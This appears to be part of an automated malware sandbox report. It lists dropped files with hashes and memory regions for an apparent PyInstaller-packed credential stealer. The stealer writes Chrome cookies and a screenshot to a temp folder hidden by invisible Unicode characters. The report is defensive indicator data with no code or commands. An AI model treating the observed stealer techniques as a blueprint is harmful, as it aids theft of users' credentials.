                                      c87c9c68cb428c2305076545702e602c8119bb1c4b003fc077fc99a7b0f6ffd12cafdd7ff56dac5d150785adc920d92ea527067c8fec3c4a16737f11d23d4875

                                    • C:\Users\Admin\AppData\Local\Temp\_MEI23602\_decimal.pyd

                                      Filesize

                                      106KB

                                      MD5

                                      787f57b9a9a4dbc0660041d5542f73e2

                                      SHA1

                                      219f2cdb825c7857b071d5f4397f2dbf59f65b32

                                      SHA256

                                      d5646447436daca3f6a755e188ea15932ae6b5ba8f70d9c1de78f757d310d300

                                      SHA512

                                      cd06ea22530c25d038f8d9e3cc54d1fdbc421fb7987ab6ebc5b665ae86a73b39a131daef351420f1b1cb522002388c4180c8f92d93ea15460ccba9029cac7eef

                                    • C:\Users\Admin\AppData\Local\Temp\_MEI23602\_hashlib.pyd

                                      Filesize

                                      35KB

                                      MD5

                                      ff0042b6074efa09d687af4139b80cff

                                      SHA1

                                      e7483e6fa1aab9014b309028e2d31c9780d17f20

                                      SHA256

                                      e7ddac4d8f099bc5ebcb5f4a9de5def5be1fc62ecca614493e8866dc6c60b2ce

                                      SHA512

                                      0ff0178f7e681a7c138bfd32c1276cf2bd6fbeb734139b666f02a7f7c702a738abdbc9dddcf9ab991dead20ec3bf953a6c5436f8640e73bdd972c585937fa47a

                                    • C:\Users\Admin\AppData\Local\Temp\_MEI23602\_lzma.pyd

                                      Filesize

                                      86KB

                                      MD5

                                      58b19076c6dfb4db6aa71b45293f271c

                                      SHA1

                                      c178edc7e787e1b485d87d9c4a3ccfeadeb7039e

                                      SHA256

                                      eff1a7fc55efe2119b1f6d4cf19c1ec51026b23611f8f9144d3ef354b67ff4d5

                                      SHA512

                                      f4305dcc2024a0a138d997e87d29824c088f71322021f926e61e3136a66bea92f80bce06345307935072a3e973255f9bbae18a90c94b80823fbc9a3a11d2b2f4

                                    • C:\Users\Admin\AppData\Local\Temp\_MEI23602\_queue.pyd

                                      Filesize

                                      25KB

                                      MD5

                                      e8f45b0a74ee548265566cbae85bfab8

                                      SHA1

                                      24492fcd4751c5d822029759dec1297ff31ae54a

                                      SHA256

                                      29e7801c52b5699d13a1d7b95fd173d4a45ab2791377ac1f3095d5edc8eba4bd

                                      SHA512

                                      5861a0606e2c2c2ebb3d010b4591e4f44e63b9dbfa59f8bb4ac1cda4fbfdcb969864601dee6b23d313fe8706819346cfbcd67373e372c7c23260b7277ee66fbf

                                    • C:\Users\Admin\AppData\Local\Temp\_MEI23602\_socket.pyd

                                      Filesize

                                      43KB

                                      MD5

                                      6ef6bcbb28b66b312ab7c30b1b78f3f3

                                      SHA1

                                      ca053c79ce7ea4b0ec60eff9ac3e8dd8ba251539

                                      SHA256

                                      203daa59e7bf083176cbfcc614e3bac09da83d1d09ef4fcd151f32b96499d4b2

                                      SHA512

                                      bec35443715f98ee42fda3697c2009c66d79b1170714ea6dedde51205b64a845194fe3786702e04c593059ee4ad4bbfa776fbc130a3400a4a995172675b3dfa9

                                    • C:\Users\Admin\AppData\Local\Temp\_MEI23602\_sqlite3.pyd

                                      Filesize

                                      56KB

                                      MD5

                                      467bcfb26fe70f782ae3d7b1f371e839

                                      SHA1

                                      0f836eb86056b3c98d7baf025b37d0f5fe1a01a5

                                      SHA256

                                      6015c657b94e008e85f930d686634d2cafa884fd8943207ee759bc3a104c0f48

                                      SHA512

                                      19362aa94e6e336fd02f1f60fde9c032a45315f7973a1e597761ae3b49b916aecd89934b8ed33ee85fd53e150a708a4f8f2a25683fb15491daa8430c87a6511c

                                    • C:\Users\Admin\AppData\Local\Temp\_MEI23602\_ssl.pyd

                                      Filesize

                                      65KB

                                      MD5

                                      96af7b0462af52a4d24b3f8bc0db6cd5

                                      SHA1

                                      2545bb454d0a972f1a7c688e2a5cd41ea81d3946

                                      SHA256

                                      23c08f69e5eaa3a4ab9cab287d7dc2a40aca048c8b3c89992cdb62d4de6eb01f

                                      SHA512

                                      2a8ed5a4143b3176e96d220f0255da32a139909dd49625ef839c2dfce46e45f11a0b7340eb60ad1f815a455333e45aece6e0d47a8b474419e3cbbbd46f01c062

                                    • C:\Users\Admin\AppData\Local\Temp\_MEI23602\base_library.zip

                                      Filesize

                                      1.4MB

                                      MD5

                                      6e706e4fa21d90109df6fce1b2595155

                                      SHA1

                                      5328dd26b361d36239facff79baca1bab426de68

                                      SHA256

                                      ce9b9f16ce0d9abdbac3307115d91eaf279c5152336ccbe8830151b41c802998

                                      SHA512

                                      c7e377e2854ad5b5c3fb23593817ad6345bf8a78d842ff2a45c3be135fad6bb27b67c5b6c01b26e7c1b1b12ea0814f4f6b6a522bbfa689b89fa50d3652799b34

                                    • C:\Users\Admin\AppData\Local\Temp\_MEI23602\blank.aes

                                      Filesize

                                      126KB

                                      MD5

                                      867bae9778e7c08b659c507f99780d25

                                      SHA1

                                      c6d2d66486bf4a7836c30ed5bbb17ed878178543

                                      SHA256

                                      bd8ac11d150fa566dca0bb579948f702372886da01a41dc0950d81b00a05364d

                                      SHA512

                                      b64693b1b7f88cf716ceec06527c56c951045b5b46f8421d071f49ae70f05608cbd688443b85e283452ee46dffb380cd9f400d8253db64f40471196d10831569

                                    • C:\Users\Admin\AppData\Local\Temp\_MEI23602\libcrypto-3.dll

                                      Filesize

                                      1.6MB

                                      MD5

                                      7f1b899d2015164ab951d04ebb91e9ac

                                      SHA1

                                      1223986c8a1cbb57ef1725175986e15018cc9eab

                                      SHA256

                                      41201d2f29cf3bc16bf32c8cecf3b89e82fec3e5572eb38a578ae0fb0c5a2986

                                      SHA512

                                      ca227b6f998cacca3eb6a8f18d63f8f18633ab4b8464fb8b47caa010687a64516181ad0701c794d6bfe3f153662ea94779b4f70a5a5a94bb3066d8a011b4310d

                                    • C:\Users\Admin\AppData\Local\Temp\_MEI23602\libffi-8.dll

                                      Filesize

                                      29KB

                                      MD5

                                      08b000c3d990bc018fcb91a1e175e06e

                                      SHA1

                                      bd0ce09bb3414d11c91316113c2becfff0862d0d

                                      SHA256

                                      135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece

                                      SHA512

                                      8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

                                    • C:\Users\Admin\AppData\Local\Temp\_MEI23602\libssl-3.dll

                                      Filesize

                                      222KB

                                      MD5

                                      264be59ff04e5dcd1d020f16aab3c8cb

                                      SHA1

                                      2d7e186c688b34fdb4c85a3fce0beff39b15d50e

                                      SHA256

                                      358b59da9580e7102adfc1be9400acea18bc49474db26f2f8bacb4b8839ce49d

                                      SHA512

                                      9abb96549724affb2e69e5cb2c834ecea3f882f2f7392f2f8811b8b0db57c5340ab21be60f1798c7ab05f93692eb0aeab077caf7e9b7bb278ad374ff3c52d248

                                    • C:\Users\Admin\AppData\Local\Temp\_MEI23602\python311.dll

                                      Filesize

                                      1.6MB

                                      MD5

                                      b167b98fc5c89d65cb1fa8df31c5de13

                                      SHA1

                                      3a6597007f572ea09ed233d813462e80e14c5444

                                      SHA256

                                      28eda3ba32f5247c1a7bd2777ead982c24175765c4e2c1c28a0ef708079f2c76

                                      SHA512

                                      40a1f5cd2af7e7c28d4c8e327310ea1982478a9f6d300950c7372634df0d9ad840f3c64fe35cc01db4c798bd153b210c0a8472ae0898bebf8cf9c25dd3638de8

                                    • C:\Users\Admin\AppData\Local\Temp\_MEI23602\rar.exe

                                      Filesize

                                      615KB

                                      MD5

                                      9c223575ae5b9544bc3d69ac6364f75e

                                      SHA1

                                      8a1cb5ee02c742e937febc57609ac312247ba386

                                      SHA256

                                      90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

                                      SHA512

                                      57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

                                    • C:\Users\Admin\AppData\Local\Temp\_MEI23602\rarreg.key

                                      Filesize

                                      456B

                                      MD5

                                      4531984cad7dacf24c086830068c4abe

                                      SHA1

                                      fa7c8c46677af01a83cf652ef30ba39b2aae14c3

                                      SHA256

                                      58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

                                      SHA512

                                      00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

                                    • C:\Users\Admin\AppData\Local\Temp\_MEI23602\select.pyd

                                      Filesize

                                      25KB

                                      MD5

                                      d76b7f6fd31844ed2e10278325725682

                                      SHA1

                                      6284b72273be14d544bb570ddf180c764cde2c06

                                      SHA256

                                      e46d0c71903db7d735cc040975bfc480dfea34b31b3e57b7dafa4c1f4058e969

                                      SHA512

                                      943ca5600f37cf094e08438e1f93b869f108abd556785e5d090051ed8cf003e85c1b380fc95f95bc871db59ffdd61099efa2e32d4354ca0cc70a789cf84abaa1

                                    • C:\Users\Admin\AppData\Local\Temp\_MEI23602\sqlite3.dll

                                      Filesize

                                      630KB

                                      MD5

                                      73b763cedf2b9bdcb0691fb846894197

                                      SHA1

                                      bf2a9e88fba611c2e779ead1c7cfd10d7f4486b2

                                      SHA256

                                      e813695191510bf3f18073491dc0ea1b760bc22c334eefe0e97312810de5d8d5

                                      SHA512

                                      617cb2b6027a3aba009bb9946347c4e282dd50d38ca4764e819631feb3a7fd739fd458e67866f9f54b33b07645ca55229030860a4faab5f677866cfa4a1f7ee2

                                    • C:\Users\Admin\AppData\Local\Temp\_MEI23602\unicodedata.pyd

                                      Filesize

                                      295KB

                                      MD5

                                      6873de332fbf126ddb53b4a2e33e35a5

                                      SHA1

                                      93748c90cd93fda83fcd5bb8187eeaf6b67a2d08

                                      SHA256

                                      f5631d92e9da39a6a1e50899d716eac323829d423a7f7fa21bd5061232564370

                                      SHA512

                                      0e03ba8c050aeadf88c390e5ea5e8e278f873885c970b67d5bc0675d782233a2925e753dae151c7af9976f64c42eba04a4dcec86204e983f6f6f2788a928401c

                                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4fon2lmb.cfb.ps1

                                      Filesize

                                      60B

                                      MD5

                                      d17fe0a3f47be24a6453e9ef58c94641

                                      SHA1

                                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                      SHA256

                                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                      SHA512

                                      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                    • C:\Users\Admin\AppData\Local\Temp\kdgasvxm\kdgasvxm.dll

                                      Filesize

                                      4KB

                                      MD5

                                      b188c6718d53cd25331cdd1341523a59

                                      SHA1

                                      49622958fb37b4a043591f66c3b68e8dfaf705ec

                                      SHA256

                                      1ed58808c06a79014b51d5a70090436dfa18e9853b300b6d2b62efcc4b18b709

                                      SHA512

                                      dd0b1012701d03830ef66374857212773334458472b4c07c90e2023ac0722499bb596bf5768cf94cc040fed5d3f6c582d689698d8c6c05399fed42c9eb43bd88

                                    • C:\Users\Admin\AppData\Local\Temp\   ‍ ‎​‌  \Credentials\Chrome\Chrome Cookies.txt

                                      Filesize

                                      258B

                                      MD5

                                      0bff0b1b7fb01feacc0337484dd703de

                                      SHA1

                                      d3599688e94f0ac519dad69709e89e802548a92a

                                      SHA256

                                      58382978b282974e5b8575a8a5bcd0ccbe1afa737f13eee3857deaba9dc9c2e9

                                      SHA512

                                      939ecb8139fb0bb3c8de88130826e00ec842ae7d02f95d11f0f5c716af1a270a8beeb112af2a5b11fff7f254a37a1e4124e949880e39a1b18ac09ac5a06daea9

                                    • C:\Users\Admin\AppData\Local\Temp\   ‍ ‎​‌  \Display (1).png

                                      Filesize

                                      431KB

                                      MD5

                                      da8cff3db87709283152a115327922fb

                                      SHA1

                                      11aa0bc94ae08bdba1a5f4f2f55ebecd50d66304

                                      SHA256

                                      d4caadae627b7e5d73490dadd8d9ed79e0d93a3ad59af087d128b864df677bd9

                                      SHA512

                                      df6dfbd3d0ef0a9ab92e2b27d2eb626863317bcdfe03d798f0ec4b5a1a0d0e84716b4fdd29f42b858b28527ee0b88a7bf0606b827dca232a7e640e8d1d609754

                                    • \??\c:\Users\Admin\AppData\Local\Temp\kdgasvxm\CSC58F926E72B4A4CFB875381F3924B312D.TMP

                                      Filesize

                                      652B

                                      MD5

                                      56f56962d15e5e8726b910defcfb6979

                                      SHA1

                                      c11c5d615cbd0c8fb04f7daf60d03454e77ee791

                                      SHA256

                                      5b97a83935ae2728424b2664fc1240f0c55462332931ab8aba840e0ecfa415e7

                                      SHA512

                                      4eb726dae757440736a53ce65ee540b31aef4196e2cbfc42ba6c0608536ba011932ae75d8b3b91f0d0013abdc6d2136ffbe7011ffbccce81e2ad000e9c523ebd

                                    • \??\c:\Users\Admin\AppData\Local\Temp\kdgasvxm\kdgasvxm.0.cs

                                      Filesize

                                      1004B

                                      MD5

                                      c76055a0388b713a1eabe16130684dc3

                                      SHA1

                                      ee11e84cf41d8a43340f7102e17660072906c402

                                      SHA256

                                      8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

                                      SHA512

                                      22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

                                    • \??\c:\Users\Admin\AppData\Local\Temp\kdgasvxm\kdgasvxm.cmdline

                                      Filesize

                                      607B

                                      MD5

                                      effc713fb3af815501c5dc8cc458d09d

                                      SHA1

                                      d9e8cb6f32e1dcf8969e7af928c5e91c6e59b2a3

                                      SHA256

                                      8799f750e89dbfdb8b2491c13a749b3e81cd23ad1c32123b0a7856deb051fc76

                                      SHA512

                                      cc928d5a38b015c7b8b6f40b8b253597b37613fe699df5b110cb3b08f58258a3eeca0a0ab39fd89829c06fd54ecf385b123e4e31492dcc8e7a9fd6c74e50626e

                                    • memory/2492-130-0x00007FFB83AA0000-0x00007FFB84561000-memory.dmp

                                      Filesize

                                      10.8MB

                                    • memory/2492-86-0x00007FFB83AA3000-0x00007FFB83AA5000-memory.dmp

                                      Filesize

                                      8KB

                                    • memory/2492-99-0x00000214DBD50000-0x00000214DBD72000-memory.dmp

                                      Filesize

                                      136KB

                                    • memory/2492-89-0x00007FFB83AA0000-0x00007FFB84561000-memory.dmp

                                      Filesize

                                      10.8MB

                                    • memory/2492-88-0x00007FFB83AA0000-0x00007FFB84561000-memory.dmp

                                      Filesize

                                      10.8MB

                                    • memory/3404-90-0x00007FFB9A8A0000-0x00007FFB9A8B9000-memory.dmp

                                      Filesize

                                      100KB

                                    • memory/3404-31-0x00007FFB99830000-0x00007FFB99854000-memory.dmp

                                      Filesize

                                      144KB

                                    • memory/3404-85-0x00007FFB945A0000-0x00007FFB945C3000-memory.dmp

                                      Filesize

                                      140KB

                                    • memory/3404-76-0x00007FFB99770000-0x00007FFB99784000-memory.dmp

                                      Filesize

                                      80KB

                                    • memory/3404-84-0x00007FFB84570000-0x00007FFB8468C000-memory.dmp

                                      Filesize

                                      1.1MB

                                    • memory/3404-60-0x00007FFB855E0000-0x00007FFB85756000-memory.dmp

                                      Filesize

                                      1.5MB

                                    • memory/3404-79-0x00007FFB97EA0000-0x00007FFB97EAD000-memory.dmp

                                      Filesize

                                      52KB

                                    • memory/3404-58-0x00007FFB945A0000-0x00007FFB945C3000-memory.dmp

                                      Filesize

                                      140KB

                                    • memory/3404-56-0x00007FFB9B310000-0x00007FFB9B329000-memory.dmp

                                      Filesize

                                      100KB

                                    • memory/3404-54-0x00007FFB98C00000-0x00007FFB98C2D000-memory.dmp

                                      Filesize

                                      180KB

                                    • memory/3404-78-0x00007FFB98C00000-0x00007FFB98C2D000-memory.dmp

                                      Filesize

                                      180KB

                                    • memory/3404-64-0x00007FFB99870000-0x00007FFB9987D000-memory.dmp

                                      Filesize

                                      52KB

                                    • memory/3404-73-0x00007FFB849C0000-0x00007FFB84EE9000-memory.dmp

                                      Filesize

                                      5.2MB

                                    • memory/3404-87-0x00007FFB855E0000-0x00007FFB85756000-memory.dmp

                                      Filesize

                                      1.5MB

                                    • memory/3404-70-0x00007FFB84EF0000-0x00007FFB854E0000-memory.dmp

                                      Filesize

                                      5.9MB

                                    • memory/3404-236-0x0000017DFEF80000-0x0000017DFF4A9000-memory.dmp

                                      Filesize

                                      5.2MB

                                    • memory/3404-32-0x00007FFB9D8E0000-0x00007FFB9D8EF000-memory.dmp

                                      Filesize

                                      60KB

                                    • memory/3404-71-0x00007FFB99830000-0x00007FFB99854000-memory.dmp

                                      Filesize

                                      144KB

                                    • memory/3404-205-0x00007FFB94560000-0x00007FFB94593000-memory.dmp

                                      Filesize

                                      204KB

                                    • memory/3404-206-0x00007FFB849C0000-0x00007FFB84EE9000-memory.dmp

                                      Filesize

                                      5.2MB

                                    • memory/3404-72-0x00007FFB937D0000-0x00007FFB9389D000-memory.dmp

                                      Filesize

                                      820KB

                                    • memory/3404-74-0x0000017DFEF80000-0x0000017DFF4A9000-memory.dmp

                                      Filesize

                                      5.2MB

                                    • memory/3404-66-0x00007FFB94560000-0x00007FFB94593000-memory.dmp

                                      Filesize

                                      204KB

                                    • memory/3404-213-0x00007FFB937D0000-0x00007FFB9389D000-memory.dmp

                                      Filesize

                                      820KB

                                    • memory/3404-62-0x00007FFB9A8A0000-0x00007FFB9A8B9000-memory.dmp

                                      Filesize

                                      100KB

                                    • memory/3404-25-0x00007FFB84EF0000-0x00007FFB854E0000-memory.dmp

                                      Filesize

                                      5.9MB

                                    • memory/4348-179-0x000002106C650000-0x000002106C658000-memory.dmp

                                      Filesize

                                      32KB